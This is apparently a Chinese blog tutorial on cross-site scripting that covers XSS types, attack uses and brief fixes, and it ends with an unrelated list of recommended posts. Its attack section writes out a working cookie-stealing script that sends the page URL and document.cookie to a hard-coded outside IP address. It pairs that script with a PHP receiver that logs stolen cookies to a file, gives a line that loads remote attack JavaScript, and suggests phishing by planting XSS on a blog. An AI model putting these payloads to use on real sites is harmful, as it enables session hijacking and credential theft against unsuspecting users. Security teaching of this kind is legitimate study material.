XSS 跨站&Cookie 盗取&表单劫持&网络钓鱼&溯源分析&项目平台框架

漏洞原理:接受输入数据,输出显示数据后解析执行
基础类型:反射 ( 非持续 ) ,存储 ( 持续 ) , DOM-BASE
拓展类型: jquery , mxss , uxss , pdfxss , flashxss ,上传 xss 等
常用标签: https://www.freebuf.com/articles/web/340080.html
攻击利用:盲打, COOKIE 盗取,凭据窃取,页面劫持,网络钓鱼,权限维持等
安全修复:字符过滤,实例化编码, http_only , CSP 防护, WAF 拦截等
测试流程:看输出想输入在哪里,更改输入代码看执行(标签,过滤决定)
#XSS 跨站 - 攻击利用 - 凭据盗取
条件:无防护 Cookie 凭据获取
利用: XSS 平台或手写接受代码
触发: <script>var
url='http://47.94.236.117/getcookie.php?u='+window.location.href+
'&c='+document.cookie;document.write("<img src="+url+"
/>");</script>
接受:
<?php
url=_GET['u'];
cookie=_GET['c'];
fp = fopen('cookie.txt',"a"); fwrite(fp,url."\|".cookie."\n");
fclose($fp);
?>
#XSS 跨站 - 攻击利用 - 数据提交
条件:熟悉后台业务功能数据包,利用 JS 写一个模拟提交
利用:凭据获取不到或有防护无法利用凭据进入时执行其他
然后再写<script src="http://xx.xxx.xxx/poc.js"></script>
也可以主动钓鱼 比如 在自己博客放xss语句 然后进行页面劫持

相关推荐
柿蒂9 分钟前
Android图片批量添加处理优化:从「30」秒缩短至「4.4」秒
android·android jetpack
敲上瘾17 分钟前
网络数据传输与NAT技术的工作原理
网络·智能路由器·信息与通信·nat
希赛网20 分钟前
《HCIA-Datacom 认证》希赛三色笔记:Vlan间三层通信过程解析
网络·智能路由器
都给我1 小时前
服务器中涉及节流(Throttle)的硬件组件及其应用注意事项
服务器·网络·express
ALe要立志成为web糕手1 小时前
计算机网络基础
网络·安全·web安全·网络安全
拓端研究室1 小时前
专题:2025医药生物行业趋势与投融资研究报告|附90+份报告PDF、原数据表汇总下载
android·开发语言·kotlin
liulun1 小时前
SkSurface---像素的容器:表面
网络·网络协议·rpc
火车叨位去19491 小时前
鱼皮项目简易版 RPC 框架开发(六)----最后的绝唱
网络·网络协议·rpc
小鱼人爱编程1 小时前
当上组长一年里,我保住了俩下属
android·前端·后端
2501_916013741 小时前
移动端 WebView 调试实战,多平台行为差异排查与统一调试流程
android·ios·小程序·https·uni-app·iphone·webview